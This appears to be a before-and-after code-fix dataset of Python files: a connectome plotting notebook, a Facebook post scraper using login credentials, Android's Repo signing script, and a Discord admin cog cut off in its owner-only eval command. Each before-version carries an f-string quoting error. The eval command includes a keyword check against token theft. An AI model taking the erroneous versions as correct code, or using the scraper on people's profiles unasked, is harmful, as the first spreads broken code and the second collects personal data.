sub_meta["sub_pred_side"] = sub_pred_side
sub_pred_var = f"c{label}_sub_pred_side"
meta[sub_pred_var] = ""
meta.loc[
pred == label, sub_pred_var
] = sub_pred_side # TODO indexing is dangerous here
meta[f"c{label}_sub_pred"] = ""
meta.loc[pred == label, f"c{label}_sub_pred"] = composite_predict(
sub_X,
sub_left_inds,
sub_right_inds,
sub_left_model,
sub_right_model,
relabel=False,
)
meta[f"is_c{label}"] = pred == label
fig, ax = plt.subplots(1, 1, figsize=(20, 20))
adjplot(
adj,
ax=ax,
meta=meta,
sort_class=["pred_side", sub_pred_var],
class_order="group_signal_flow",
colors="merge_class",
palette=CLASS_COLOR_DICT,
item_order=["merge_class", "signal_flow"],
highlight=f"is_c{label}",
highlight_kws=dict(color="red", linestyle="-", linewidth=1),
plot_type="scattermap",
sizes=(0.5, 1),
)
fig.suptitle(sub_basetitle, y=0.94)
stashfig("full-adj" + sub_basename)
plt.close()
# %% [markdown]
# ##
cols = meta.columns
sub_pred_side_cols = []
sub_pred_cols = []
for c in cols:
if "_sub_pred" in c:
if "_side" in c:
sub_pred_side_cols.append(c)
else:
sub_pred_cols.append(c)
meta["total_pred"] = ""
meta["total_pred"] = meta["pred"].astype(str) + "-"
meta["total_pred_side"] = ""
meta["total_pred_side"] = meta["pred_side"].astype(str) + "-"
meta["sub_pred"] = ""
meta["sub_pred_side"] = ""
for c in sub_pred_cols:
meta["total_pred"] += meta[c].astype(str)
meta["sub_pred"] += meta[c].astype(str)
for c in sub_pred_side_cols:
meta["sub_pred_side"] += meta[c].astype(str)
meta["total_pred_side"] += meta[c].astype(str)
# %% [markdown]
# ##
meta["lvl2_signal_flow"] = meta["total_pred"].map(
meta.groupby("total_pred")["signal_flow"].mean()
)
fig, ax = plt.subplots(1, 1, figsize=(20, 20))
adjplot(
adj,
ax=ax,
meta=meta,
sort_class=["hemisphere", "pred", "sub_pred"],
class_order="lvl2_signal_flow",
colors="merge_class",
palette=CLASS_COLOR_DICT,
item_order=["merge_class", "signal_flow"],
plot_type="scattermap",
sizes=(0.5, 1),
)
fig.suptitle(f"2-level hierarchy clustering, reembed={reembed}" + basetitle, y=0.94)
stashfig("lvl2-full-adj" + sub_basename)
fig, ax = plt.subplots(1, 1, figsize=(20, 20))
adjplot(
adj,
ax=ax,
meta=meta,
sort_class=["hemisphere", "pred", "sub_pred"],
class_order="lvl2_signal_flow",
colors="merge_class",
palette=CLASS_COLOR_DICT,
item_order=["rand"],
plot_type="scattermap",
sizes=(0.5, 1),
)
fig.suptitle(f"2-level hierarchy clustering, reembed={reembed}" + basetitle, y=0.94)
stashfig("lvl2-full-adj-rand" + sub_basename)
# %% [markdown]
# ##
fig, ax = plt.subplots(1, 1, figsize=(15, 20))
ax = stacked_barplot(
meta["total_pred_side"].values,
meta["merge_class"].values,
color_dict=CLASS_COLOR_DICT,
legend_ncol=6,
ax=ax,
norm_bar_width=False,
)
stashfig("lvl2-barplot" + sub_basename)
# %% [markdown]
# ##
import pymaid
from src.pymaid import start_instance
start_instance()
for tp in meta["total_pred"].unique()[:10]:
ids = list(meta[meta["total_pred"] == tp].index.values)
ids = [int(i) for i in ids]
fig, ax = plt.subplots(1, 1, figsize=(10, 10))
skeleton_color_dict = dict(
zip(meta.index, np.vectorize(CLASS_COLOR_DICT.get)(meta["merge_class"]))
)
pymaid.plot2d(ids, color=skeleton_color_dict, ax=ax)
ax.axis("equal")
stashfig(f"test-plot2d-{tp}")
# %% [markdown]
# ##
# %%
|
import os
def get_path(file, level="."):
path = os.path.dirname(os.path.realpath(file))
levels = level.count(".")
if levels > 1:
for l in range(levels - 1):
path = "/".join(path.split("/")[:-1])
return path
def new_path(path, extension=""):
def f(filename):
# return path + "/" + extension
return f"{path}{"/" + extension if extension != "" else ""}/{filename}"
return f
| import os
def get_path(file, level="."):
path = os.path.dirname(os.path.realpath(file))
levels = level.count(".")
if levels > 1:
for l in range(levels - 1):
path = "/".join(path.split("/")[:-1])
return path
def new_path(path, extension=""):
def f(filename):
# return path + "/" + extension
return f"{path}{'/' + extension if extension != '' else ''}/{filename}"
return f
|
import requests
from bs4 import BeautifulSoup
import pickle
import os
from urllib.parse import urlparse, unquote
from urllib.parse import parse_qs
import pandas as pd
import json
class FacebookPostsScraper:
# We need the email and password to access Facebook, and optionally the text in the Url that identifies the "view full post".
def __init__(self, email, password, post_url_text='Full Story'):
self.email = email
self.password = password
self.headers = { # This is the important part: Nokia C3 User Agent
'User-Agent': 'NokiaC3-00/5.0 (07.20) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+'
}
self.session = requests.session() # Create the session for the next requests
self.cookies_path = 'session_facebook.cki' # Give a name to store the session in a cookie file.
# At certain point, we need find the text in the Url to point the url post, in my case, my Facebook is in
# English, this is why it says 'Full Story', so, you need to change this for your language.
# Some translations:
# - English: 'Full Story'
# - Spanish: 'Historia completa'
self.post_url_text = post_url_text
# Evaluate if NOT exists a cookie file, if NOT exists the we make the Login request to Facebook,
# else we just load the current cookie to maintain the older session.
if self.new_session():
self.login()
self.posts = [] # Store the scraped posts
# We need to check if we already have a session saved or need to log to Facebook
def new_session(self):
if not os.path.exists(self.cookies_path):
return True
f = open(self.cookies_path, 'rb')
cookies = pickle.load(f)
self.session.cookies = cookies
return False
# Utility function to make the requests and convert to soup object if necessary
def make_request(self, url, method='GET', data=None, is_soup=True):
if len(url) == 0:
raise Exception(f'Empty Url')
if method == 'GET':
resp = self.session.get(url, headers=self.headers)
elif method == 'POST':
resp = self.session.post(url, headers=self.headers, data=data)
else:
raise Exception(f'Method [{method}] Not Supported')
if resp.status_code != 200:
raise Exception(f'Error [{resp.status_code}] > {url}')
if is_soup:
return BeautifulSoup(resp.text, 'lxml')
return resp
# The first time we login
def login(self):
# Get the content of HTML of mobile Login Facebook page
url_home = "https://m.facebook.com/"
soup = self.make_request(url_home)
if soup is None:
raise Exception("Couldn't load the Login Page")
# Here we need to extract this tokens from the Login Page
lsd = soup.find("input", {"name": "lsd"}).get("value")
jazoest = soup.find("input", {"name": "jazoest"}).get("value")
m_ts = soup.find("input", {"name": "m_ts"}).get("value")
li = soup.find("input", {"name": "li"}).get("value")
try_number = soup.find("input", {"name": "try_number"}).get("value")
unrecognized_tries = soup.find("input", {"name": "unrecognized_tries"}).get("value")
# This is the url to send the login params to Facebook
url_login = "https://m.facebook.com/login/device-based/regular/login/?refsrc=https%3A%2F%2Fm.facebook.com%2F&lwv=100&refid=8"
payload = {
"lsd": lsd,
"jazoest": jazoest,
"m_ts": m_ts,
"li": li,
"try_number": try_number,
"unrecognized_tries": unrecognized_tries,
"email": self.email,
"pass": self.password,
"login": "Iniciar sesión",
"prefill_contact_point": "",
"prefill_source": "",
"prefill_type": "",
"first_prefill_source": "",
"first_prefill_type": "",
"had_cp_prefilled": "false",
"had_password_prefilled": "false",
"is_smart_lock": "false",
"_fb_noscript": "true"
}
soup = self.make_request(url_login, method='POST', data=payload, is_soup=True)
if soup is None:
raise Exception(f"The login request couldn't be made: {url_login}")
redirect = soup.select_one('a')
if not redirect:
raise Exception("Please log in desktop/mobile Facebook and change your password")
url_redirect = redirect.get('href', '')
resp = self.make_request(url_redirect)
if resp is None:
raise Exception(f"The login request couldn't be made: {url_redirect}")
# Finally we get the cookies from the session and save it in a file for future usage
cookies = self.session.cookies
f = open(self.cookies_path, 'wb')
pickle.dump(cookies, f)
return {'code': 200}
# Scrap a list of profiles
def get_posts_from_list(self, profiles):
data = []
n = len(profiles)
for idx in range(n):
profile = profiles[idx]
print(f'{idx + 1}/{n}. {profile}')
posts = self.get_posts_from_profile(profile)
data.append(posts)
return data
# This is the extraction point!
def get_posts_from_profile(self, url_profile):
# Prepare the Url to point to the posts feed
if "www." in url_profile: url_profile = url_profile.replace('www.', 'm.')
if 'v=timeline' not in url_profile:
if '?' in url_profile:
url_profile = f'{url_profile}&v=timeline'
else:
url_profile = f'{url_profile}?v=timeline'
is_group = '/groups/' in url_profile
# Make a simple GET request
soup = self.make_request(url_profile)
if soup is None:
print(f"Couldn't load the Page: {url_profile}")
return []
# Now the extraction...
css_profile = '.storyStream > div' # Select the posts from a user profile
css_page = '#recent > div > div > div' # Select the posts from a Facebook page
css_group = '#m_group_stories_container > div > div' # Select the posts from a Facebook group
raw_data = soup.select(f'{css_profile} , {css_page} , {css_group}') # Now join and scrape it
posts = []
for item in raw_data: # Now, for every post...
published = item.select_one('abbr') # Get the formatted datetime of published
description = item.select('p') # Get list of all p tag, they compose the description
images = item.select('a > img') # Get list of all images
_external_links = item.select('p a') # Get list of any link in the description, this are external links
post_url = item.find('a', text=self.post_url_text) # Get the url to point this post.
like_url = item.find('a', text='Like') # Get the Like url.
# Clean the publish date
if published is not None:
published = published.get_text()
else:
published = ''
# Join all the text in p tags, else set empty string
if len(description) > 0:
description = '\n'.join([d.get_text() for d in description])
else:
description = ''
# Get all the images links
images = [image.get('src', '') for image in images]
# Clean the post link
if post_url is not None:
post_url = post_url.get('href', '')
if len(post_url) > 0:
post_url = f'https://www.facebook.com{post_url}'
p_url = urlparse(post_url)
qs = parse_qs(p_url.query)
if not is_group:
post_url = f'{p_url.scheme}://{p_url.hostname}{p_url.path}?story_fbid={qs['story_fbid'][0]}&id={qs['id'][0]}'
else:
post_url = f'{p_url.scheme}://{p_url.hostname}{p_url.path}/permalink/{qs['id'][0]}/'
else:
post_url = ''
# Clean the Like link
if like_url is not None:
like_url = like_url.get('href', '')
if len(like_url) > 0:
like_url = f'https://m.facebook.com{like_url}'
else:
like_url = ''
# Get list of external links in post description, if any inside
external_links = []
for link in _external_links:
link = link.get('href', '')
try:
a = link.index("u=") + 2
z = link.index("&h=")
link = unquote(link[a:z])
link = link.split("?fbclid=")[0]
external_links.append(link)
except ValueError as e:
continue
post = {'published': published, 'description': description, 'images': images,
'post_url': post_url, 'external_links': external_links, 'like_url': like_url}
posts.append(post)
self.posts.append(post)
return posts
def posts_to_csv(self, filename):
if filename[:-4] != '.csv':
filename = f'{filename}.csv'
df = pd.DataFrame(self.posts)
df.to_csv(filename)
def posts_to_excel(self, filename):
if filename[:-5] != '.xlsx':
filename = f'{filename}.xlsx'
df = pd.DataFrame(self.posts)
df.to_excel(filename)
def posts_to_json(self, filename):
if filename[:-5] != '.json':
filename = f'{filename}.json'
with open(filename, 'w') as f:
f.write('[')
for entry in self.posts:
json.dump(entry, f)
f.write(',\n')
f.write(']')
| import requests
from bs4 import BeautifulSoup
import pickle
import os
from urllib.parse import urlparse, unquote
from urllib.parse import parse_qs
import pandas as pd
import json
class FacebookPostsScraper:
# We need the email and password to access Facebook, and optionally the text in the Url that identifies the "view full post".
def __init__(self, email, password, post_url_text='Full Story'):
self.email = email
self.password = password
self.headers = { # This is the important part: Nokia C3 User Agent
'User-Agent': 'NokiaC3-00/5.0 (07.20) Profile/MIDP-2.1 Configuration/CLDC-1.1 Mozilla/5.0 AppleWebKit/420+ (KHTML, like Gecko) Safari/420+'
}
self.session = requests.session() # Create the session for the next requests
self.cookies_path = 'session_facebook.cki' # Give a name to store the session in a cookie file.
# At certain point, we need find the text in the Url to point the url post, in my case, my Facebook is in
# English, this is why it says 'Full Story', so, you need to change this for your language.
# Some translations:
# - English: 'Full Story'
# - Spanish: 'Historia completa'
self.post_url_text = post_url_text
# Evaluate if NOT exists a cookie file, if NOT exists the we make the Login request to Facebook,
# else we just load the current cookie to maintain the older session.
if self.new_session():
self.login()
self.posts = [] # Store the scraped posts
# We need to check if we already have a session saved or need to log to Facebook
def new_session(self):
if not os.path.exists(self.cookies_path):
return True
f = open(self.cookies_path, 'rb')
cookies = pickle.load(f)
self.session.cookies = cookies
return False
# Utility function to make the requests and convert to soup object if necessary
def make_request(self, url, method='GET', data=None, is_soup=True):
if len(url) == 0:
raise Exception(f'Empty Url')
if method == 'GET':
resp = self.session.get(url, headers=self.headers)
elif method == 'POST':
resp = self.session.post(url, headers=self.headers, data=data)
else:
raise Exception(f'Method [{method}] Not Supported')
if resp.status_code != 200:
raise Exception(f'Error [{resp.status_code}] > {url}')
if is_soup:
return BeautifulSoup(resp.text, 'lxml')
return resp
# The first time we login
def login(self):
# Get the content of HTML of mobile Login Facebook page
url_home = "https://m.facebook.com/"
soup = self.make_request(url_home)
if soup is None:
raise Exception("Couldn't load the Login Page")
# Here we need to extract this tokens from the Login Page
lsd = soup.find("input", {"name": "lsd"}).get("value")
jazoest = soup.find("input", {"name": "jazoest"}).get("value")
m_ts = soup.find("input", {"name": "m_ts"}).get("value")
li = soup.find("input", {"name": "li"}).get("value")
try_number = soup.find("input", {"name": "try_number"}).get("value")
unrecognized_tries = soup.find("input", {"name": "unrecognized_tries"}).get("value")
# This is the url to send the login params to Facebook
url_login = "https://m.facebook.com/login/device-based/regular/login/?refsrc=https%3A%2F%2Fm.facebook.com%2F&lwv=100&refid=8"
payload = {
"lsd": lsd,
"jazoest": jazoest,
"m_ts": m_ts,
"li": li,
"try_number": try_number,
"unrecognized_tries": unrecognized_tries,
"email": self.email,
"pass": self.password,
"login": "Iniciar sesión",
"prefill_contact_point": "",
"prefill_source": "",
"prefill_type": "",
"first_prefill_source": "",
"first_prefill_type": "",
"had_cp_prefilled": "false",
"had_password_prefilled": "false",
"is_smart_lock": "false",
"_fb_noscript": "true"
}
soup = self.make_request(url_login, method='POST', data=payload, is_soup=True)
if soup is None:
raise Exception(f"The login request couldn't be made: {url_login}")
redirect = soup.select_one('a')
if not redirect:
raise Exception("Please log in desktop/mobile Facebook and change your password")
url_redirect = redirect.get('href', '')
resp = self.make_request(url_redirect)
if resp is None:
raise Exception(f"The login request couldn't be made: {url_redirect}")
# Finally we get the cookies from the session and save it in a file for future usage
cookies = self.session.cookies
f = open(self.cookies_path, 'wb')
pickle.dump(cookies, f)
return {'code': 200}
# Scrap a list of profiles
def get_posts_from_list(self, profiles):
data = []
n = len(profiles)
for idx in range(n):
profile = profiles[idx]
print(f'{idx + 1}/{n}. {profile}')
posts = self.get_posts_from_profile(profile)
data.append(posts)
return data
# This is the extraction point!
def get_posts_from_profile(self, url_profile):
# Prepare the Url to point to the posts feed
if "www." in url_profile: url_profile = url_profile.replace('www.', 'm.')
if 'v=timeline' not in url_profile:
if '?' in url_profile:
url_profile = f'{url_profile}&v=timeline'
else:
url_profile = f'{url_profile}?v=timeline'
is_group = '/groups/' in url_profile
# Make a simple GET request
soup = self.make_request(url_profile)
if soup is None:
print(f"Couldn't load the Page: {url_profile}")
return []
# Now the extraction...
css_profile = '.storyStream > div' # Select the posts from a user profile
css_page = '#recent > div > div > div' # Select the posts from a Facebook page
css_group = '#m_group_stories_container > div > div' # Select the posts from a Facebook group
raw_data = soup.select(f'{css_profile} , {css_page} , {css_group}') # Now join and scrape it
posts = []
for item in raw_data: # Now, for every post...
published = item.select_one('abbr') # Get the formatted datetime of published
description = item.select('p') # Get list of all p tag, they compose the description
images = item.select('a > img') # Get list of all images
_external_links = item.select('p a') # Get list of any link in the description, this are external links
post_url = item.find('a', text=self.post_url_text) # Get the url to point this post.
like_url = item.find('a', text='Like') # Get the Like url.
# Clean the publish date
if published is not None:
published = published.get_text()
else:
published = ''
# Join all the text in p tags, else set empty string
if len(description) > 0:
description = '\n'.join([d.get_text() for d in description])
else:
description = ''
# Get all the images links
images = [image.get('src', '') for image in images]
# Clean the post link
if post_url is not None:
post_url = post_url.get('href', '')
if len(post_url) > 0:
post_url = f'https://www.facebook.com{post_url}'
p_url = urlparse(post_url)
qs = parse_qs(p_url.query)
if not is_group:
post_url = f'{p_url.scheme}://{p_url.hostname}{p_url.path}?story_fbid={qs["story_fbid"][0]}&id={qs["id"][0]}'
else:
post_url = f'{p_url.scheme}://{p_url.hostname}{p_url.path}/permalink/{qs["id"][0]}/'
else:
post_url = ''
# Clean the Like link
if like_url is not None:
like_url = like_url.get('href', '')
if len(like_url) > 0:
like_url = f'https://m.facebook.com{like_url}'
else:
like_url = ''
# Get list of external links in post description, if any inside
external_links = []
for link in _external_links:
link = link.get('href', '')
try:
a = link.index("u=") + 2
z = link.index("&h=")
link = unquote(link[a:z])
link = link.split("?fbclid=")[0]
external_links.append(link)
except ValueError as e:
continue
post = {'published': published, 'description': description, 'images': images,
'post_url': post_url, 'external_links': external_links, 'like_url': like_url}
posts.append(post)
self.posts.append(post)
return posts
def posts_to_csv(self, filename):
if filename[:-4] != '.csv':
filename = f'{filename}.csv'
df = pd.DataFrame(self.posts)
df.to_csv(filename)
def posts_to_excel(self, filename):
if filename[:-5] != '.xlsx':
filename = f'{filename}.xlsx'
df = pd.DataFrame(self.posts)
df.to_excel(filename)
def posts_to_json(self, filename):
if filename[:-5] != '.json':
filename = f'{filename}.json'
with open(filename, 'w') as f:
f.write('[')
for entry in self.posts:
json.dump(entry, f)
f.write(',\n')
f.write(']')
|
#!/usr/bin/env python3
# Copyright (C) 2020 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Helper tool for signing repo launcher scripts correctly.
This is intended to be run only by the official Repo release managers.
"""
import argparse
import os
import subprocess
import sys
import util
def sign(opts):
"""Sign the launcher!"""
output = ""
for key in opts.keys:
# We use ! at the end of the key so that gpg uses this specific key.
# Otherwise it uses the key as a lookup into the overall key and uses the
# default signing key. i.e. It will see that KEYID_RSA is a subkey of
# another key, and use the primary key to sign instead of the subkey.
cmd = [
"gpg",
"--homedir",
opts.gpgdir,
"-u",
f"{key}!",
"--batch",
"--yes",
"--armor",
"--detach-sign",
"--output",
"-",
opts.launcher,
]
ret = util.run(opts, cmd, encoding="utf-8", stdout=subprocess.PIPE)
output += ret.stdout
# Save the combined signatures into one file.
with open(f"{opts.launcher}.asc", "w", encoding="utf-8") as fp:
fp.write(output)
def check(opts):
"""Check the signature."""
util.run(opts, ["gpg", "--verify", f"{opts.launcher}.asc"])
def postmsg(opts):
"""Helpful info to show at the end for release manager."""
print(
f"""
Repo launcher bucket:
gs://git-repo-downloads/
To upload this launcher directly:
gsutil cp -a public-read {opts.launcher} {opts.launcher}.asc gs://git-repo-downloads/
NB: You probably want to upload it with a specific version first, e.g.:
gsutil cp -a public-read {opts.launcher} gs://git-repo-downloads/repo-3.0
gsutil cp -a public-read {opts.launcher}.asc gs://git-repo-downloads/repo-3.0.asc
"""
)
def get_parser():
"""Get a CLI parser."""
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument(
"-n",
"--dry-run",
dest="dryrun",
action="store_true",
help="show everything that would be done",
)
parser.add_argument(
"--gpgdir",
default=os.path.join(util.HOMEDIR, ".gnupg", "repo"),
help="path to dedicated gpg dir with release keys " "(default: ~/.gnupg/repo/)",
)
parser.add_argument(
"--keyid",
dest="keys",
default=[],
action="append",
help="alternative signing keys to use",
)
parser.add_argument(
"launcher",
default=os.path.join(util.TOPDIR, "repo"),
nargs="?",
help="the launcher script to sign",
)
return parser
def main(argv):
"""The main func!"""
parser = get_parser()
opts = parser.parse_args(argv)
if not os.path.exists(opts.gpgdir):
parser.error(f"--gpgdir does not exist: {opts.gpgdir}")
if not os.path.exists(opts.launcher):
parser.error(f"launcher does not exist: {opts.launcher}")
opts.launcher = os.path.relpath(opts.launcher)
print(
f'Signing "{opts.launcher}" launcher script and saving to '
f'"{opts.launcher}.asc"'
)
if opts.keys:
print(f'Using custom keys to sign: {' '.join(opts.keys)}')
else:
print("Using official Repo release keys to sign")
opts.keys = [util.KEYID_DSA, util.KEYID_RSA, util.KEYID_ECC]
util.import_release_key(opts)
sign(opts)
check(opts)
postmsg(opts)
return 0
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))
| #!/usr/bin/env python3
# Copyright (C) 2020 The Android Open Source Project
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""Helper tool for signing repo launcher scripts correctly.
This is intended to be run only by the official Repo release managers.
"""
import argparse
import os
import subprocess
import sys
import util
def sign(opts):
"""Sign the launcher!"""
output = ""
for key in opts.keys:
# We use ! at the end of the key so that gpg uses this specific key.
# Otherwise it uses the key as a lookup into the overall key and uses the
# default signing key. i.e. It will see that KEYID_RSA is a subkey of
# another key, and use the primary key to sign instead of the subkey.
cmd = [
"gpg",
"--homedir",
opts.gpgdir,
"-u",
f"{key}!",
"--batch",
"--yes",
"--armor",
"--detach-sign",
"--output",
"-",
opts.launcher,
]
ret = util.run(opts, cmd, encoding="utf-8", stdout=subprocess.PIPE)
output += ret.stdout
# Save the combined signatures into one file.
with open(f"{opts.launcher}.asc", "w", encoding="utf-8") as fp:
fp.write(output)
def check(opts):
"""Check the signature."""
util.run(opts, ["gpg", "--verify", f"{opts.launcher}.asc"])
def postmsg(opts):
"""Helpful info to show at the end for release manager."""
print(
f"""
Repo launcher bucket:
gs://git-repo-downloads/
To upload this launcher directly:
gsutil cp -a public-read {opts.launcher} {opts.launcher}.asc gs://git-repo-downloads/
NB: You probably want to upload it with a specific version first, e.g.:
gsutil cp -a public-read {opts.launcher} gs://git-repo-downloads/repo-3.0
gsutil cp -a public-read {opts.launcher}.asc gs://git-repo-downloads/repo-3.0.asc
"""
)
def get_parser():
"""Get a CLI parser."""
parser = argparse.ArgumentParser(description=__doc__)
parser.add_argument(
"-n",
"--dry-run",
dest="dryrun",
action="store_true",
help="show everything that would be done",
)
parser.add_argument(
"--gpgdir",
default=os.path.join(util.HOMEDIR, ".gnupg", "repo"),
help="path to dedicated gpg dir with release keys " "(default: ~/.gnupg/repo/)",
)
parser.add_argument(
"--keyid",
dest="keys",
default=[],
action="append",
help="alternative signing keys to use",
)
parser.add_argument(
"launcher",
default=os.path.join(util.TOPDIR, "repo"),
nargs="?",
help="the launcher script to sign",
)
return parser
def main(argv):
"""The main func!"""
parser = get_parser()
opts = parser.parse_args(argv)
if not os.path.exists(opts.gpgdir):
parser.error(f"--gpgdir does not exist: {opts.gpgdir}")
if not os.path.exists(opts.launcher):
parser.error(f"launcher does not exist: {opts.launcher}")
opts.launcher = os.path.relpath(opts.launcher)
print(
f'Signing "{opts.launcher}" launcher script and saving to '
f'"{opts.launcher}.asc"'
)
if opts.keys:
print(f'Using custom keys to sign: {" ".join(opts.keys)}')
else:
print("Using official Repo release keys to sign")
opts.keys = [util.KEYID_DSA, util.KEYID_RSA, util.KEYID_ECC]
util.import_release_key(opts)
sign(opts)
check(opts)
postmsg(opts)
return 0
if __name__ == "__main__":
sys.exit(main(sys.argv[1:]))
|
import time
import aiohttp
import traceback
import discord
import textwrap
import io
import datetime
import random
import json
import shlex
import gc
import os
from subprocess import Popen, PIPE
from dhooks import Webhook
from contextlib import redirect_stdout
from copy import copy
from typing import Union
from utils import repo, default, http, dataIO
from discord.ext import commands
from utils.formats import TabularData, Plural
class Admin(commands.Cog):
def __init__(self, bot):
self.bot = bot
self.config = default.get("config.json")
self._last_result = None
@staticmethod
def cleanup_code(content):
"""Automatically removes code blocks from the code."""
# remove ```py\n```
if content.startswith('```') and content.endswith('```'):
return '\n'.join(content.split('\n')[1:-1])
# remove `foo`
return content.strip('` \n')
@staticmethod
def generatecode():
code = random.randint(11111, 99999)
return f"{code}"
@commands.command()
@commands.check(repo.is_owner)
async def reload(self, ctx, name: str):
""" Reloads an extension. """
try:
self.bot.unload_extension(f"cogs.{name}")
self.bot.load_extension(f"cogs.{name}")
except Exception as e:
await ctx.send(f"```\n{e}```")
return
await ctx.send(f"Reloaded extension **{name}.py**")
@commands.command()
@commands.check(repo.is_owner)
async def reboot(self, ctx):
""" Reboot the bot """
await ctx.send('Rebooting now...')
time.sleep(1)
await self.bot.db.close()
await self.bot.logout()
@commands.command()
@commands.check(repo.is_owner)
async def load(self, ctx, name: str):
""" Reloads an extension. """
try:
self.bot.load_extension(f"cogs.{name}")
except Exception as e:
await ctx.send(f"```diff\n- {e}```")
return
await ctx.send(f"Loaded extension **{name}.py**")
@commands.command()
@commands.check(repo.is_owner)
async def unload(self, ctx, name: str):
""" Reloads an extension. """
try:
self.bot.unload_extension(f"cogs.{name}")
except Exception as e:
await ctx.send(f"```diff\n- {e}```")
return
await ctx.send(f"Unloaded extension **{name}.py**")
@commands.group()
@commands.check(repo.is_owner)
async def change(self, ctx):
if ctx.invoked_subcommand is None:
_help = await ctx.bot.formatter.format_help_for(ctx, ctx.command)
for page in _help:
await ctx.send(page)
@change.command(name="playing")
@commands.check(repo.is_owner)
async def change_playing(self, ctx, *, playing: str):
""" Change playing status. """
try:
await self.bot.change_presence(
activity=discord.Game(type=0, name=playing),
status=discord.Status.online
)
dataIO.change_value("config.json", "playing", playing)
await ctx.send(f"Successfully changed playing status to **{playing}**")
except discord.InvalidArgument as err:
await ctx.send(err)
except Exception as e:
await ctx.send(e)
@change.command(name="username")
@commands.check(repo.is_owner)
async def change_username(self, ctx, *, name: str):
""" Change username. """
try:
await self.bot.user.edit(username=name)
await ctx.send(f"Successfully changed username to **{name}**")
except discord.HTTPException as err:
await ctx.send(err)
@change.command(name="nickname")
@commands.check(repo.is_owner)
async def change_nickname(self, ctx, *, name: str = None):
""" Change nickname. """
try:
await ctx.guild.me.edit(nick=name)
if name:
await ctx.send(f"Successfully changed nickname to **{name}**")
else:
await ctx.send("Successfully removed nickname")
except Exception as err:
await ctx.send(err)
@change.command(name="avatar")
@commands.check(repo.is_owner)
async def change_avatar(self, ctx, url: str = None):
""" Change avatar. """
if url is None and len(ctx.message.attachments) == 1:
url = ctx.message.attachments[0].url
else:
url = url.strip('<>')
try:
bio = await http.get(url, res_method="read")
await self.bot.user.edit(avatar=bio)
await ctx.send(f"Successfully changed the avatar. Currently using:\n{url}")
except aiohttp.InvalidURL:
await ctx.send("The URL is invalid...")
except discord.InvalidArgument:
await ctx.send("This URL does not contain a useable image")
except discord.HTTPException as err:
await ctx.send(err)
@commands.command()
@commands.check(repo.is_owner)
async def args(self, ctx, *args):
"""Returns the number of args"""
await ctx.send('{} arguments: {}'.format(len(args), ', '.join(args)))
@commands.command()
async def amiadmin(self, ctx):
""" Are you admin? """
if ctx.author.id in self.config.owners:
return await ctx.send(f"Yes **{ctx.author.name}** you are admin! ✅")
await ctx.send(f"no, heck off {ctx.author.name}")
@commands.command()
@commands.guild_only()
@commands.check(repo.is_owner)
async def resetwarns(self, ctx, member: discord.Member):
""" Resets user warnings """
query = "SELECT warnings FROM warnings WHERE userid = $1;"
row = await self.bot.db.fetchrow(query, member.id)
if row is None:
await ctx.send("They are not registered in the database! I'll add them now!")
query = "INSERT INTO warnings VALUES ($1, 0);"
await self.bot.db.execute(query, member.id)
else:
query = "UPDATE warnings SET warnings = 0 WHERE userid = $1;"
await self.bot.db.execute(query, member.id)
logchannel = self.bot.get_channel(499327315088769025)
await ctx.send(f"I reset {member.mention}'s warns!")
await logchannel.send(f"I reset {member.mention}'s warns!")
@commands.command()
@commands.guild_only()
@commands.check(repo.is_owner)
async def setupvotes(self, ctx, member: discord.Member, votestoset: int = 0):
"""Does what it says on the tin"""
query = "SELECT * FROM artstats WHERE userid=$1"
row = await self.bot.db.fetchrow(query, member.id)
if row is None:
query = "INSERT INTO artstats VALUES ($1, $2);"
await self.bot.db.execute(query, member.id, votestoset)
return await ctx.send(f"**{member.name}** has been set with **{votestoset}** upvotes.")
else:
query = "UPDATE artstats SET upvotes=$2 WHERE userid=$1"
await self.bot.db.execute(query, member.id, votestoset)
await ctx.send(f"**{member.name}** has been set with **{votestoset}** upvotes.")
@commands.command()
@commands.guild_only()
@commands.check(repo.is_owner)
async def manualsketchdaily(self, ctx):
"""
Manually send off a daily sketch
"""
dayandmonth = datetime.date.today()
row = await self.bot.db.fetchrow("SELECT * FROM sketchdaily ORDER BY RANDOM() LIMIT 1;")
if row is None:
return print("There are no suggestions...")
print('True, sending webhook message')
webhook = Webhook(url=f'{self.config.webhookurl}', content=f"<@&509164409604669450>\n\nThe prompt for {dayandmonth.day}/{dayandmonth.month}/{dayandmonth.year} is:\n\n**{row['idea']}**\n\nIt was suggested by **{row['artist']}**\n\nPlease post your submission below this line!\n\n===================")
webhook.execute()
sketchcode = row['code']
query = "DELETE FROM sketchdaily WHERE code=$1;"
await self.bot.db.execute(query, sketchcode)
@commands.command()
@commands.guild_only()
@commands.check(repo.is_owner)
async def registersketch(self, ctx, artist: str = None, *, sketch: str = None):
"""
Adds a database entry for sketchdaily
"""
if artist is None:
return await ctx.send("Please include a user!")
if sketch is None:
return await ctx.send("Please include an idea!")
code = self.generatecode()
query = "INSERT INTO sketchdaily VALUES ($1, $2, $3);"
await self.bot.db.execute(query, int(code), artist, sketch)
await ctx.send(f"I have successfully added the idea \"{sketch}\" by \"{artist}\" with the tag {code} to the database!")
@commands.command(pass_context=True, name='eval')
@commands.check(repo.is_owner)
async def _eval(self, ctx, *, body: str):
"""Evaluates a code"""
env = {
'bot': self.bot,
'ctx': ctx,
'channel': ctx.channel,
'author': ctx.author,
'guild': ctx.guild,
'message': ctx.message,
'_': self._last_result
}
if ctx.author.id != 127452209070735361:
return
if "bot.http.token" in body:
return await ctx.send(f"You can't take my token {ctx.author.name}")
env.update(globals())
body = self.cleanup_code(body)
stdout = io.StringIO()
to_compile = f'async def func():\n{textwrap.indent(body, ' ')}'
